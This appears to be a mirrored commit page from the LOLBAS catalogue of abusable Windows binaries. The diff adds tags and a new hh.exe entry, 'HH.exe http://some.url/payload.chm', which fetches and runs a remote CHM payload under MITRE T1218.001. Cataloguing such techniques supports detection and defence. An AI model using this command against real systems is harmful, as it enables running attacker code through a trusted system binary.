mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-01-02 18:17:09 +01:00
Update Hh.yml Tags and Added command
Added the command to execute remote CHM files Added Tags
This commit is contained in:
parent
4e60ead5f7
commit
bbe0681a9a
@ -18,6 +18,20 @@ Commands:
|
|||||||
Privileges: User
|
Privileges: User
|
||||||
MitreID: T1218.001
|
MitreID: T1218.001
|
||||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
||||||
|
Tags:
|
||||||
|
- Execute: EXE
|
||||||
|
- Input: Custom Format
|
||||||
|
- Command: HH.exe http://some.url/payload.chm
|
||||||
|
Description: Executes a remote payload.chm file which can contain commands.
|
||||||
|
Usecase: Execute commands with HH.exe
|
||||||
|
Category: Execute
|
||||||
|
Privileges: User
|
||||||
|
MitreID: T1218.001
|
||||||
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
||||||
|
Tags:
|
||||||
|
- Execute: CMD
|
||||||
|
- Execute: CHM
|
||||||
|
- Input: Custom Format
|
||||||
Full_Path:
|
Full_Path:
|
||||||
- Path: C:\Windows\hh.exe
|
- Path: C:\Windows\hh.exe
|
||||||
- Path: C:\Windows\SysWOW64\hh.exe
|
- Path: C:\Windows\SysWOW64\hh.exe
|
||||||
|
Loading…
Reference in New Issue
Block a user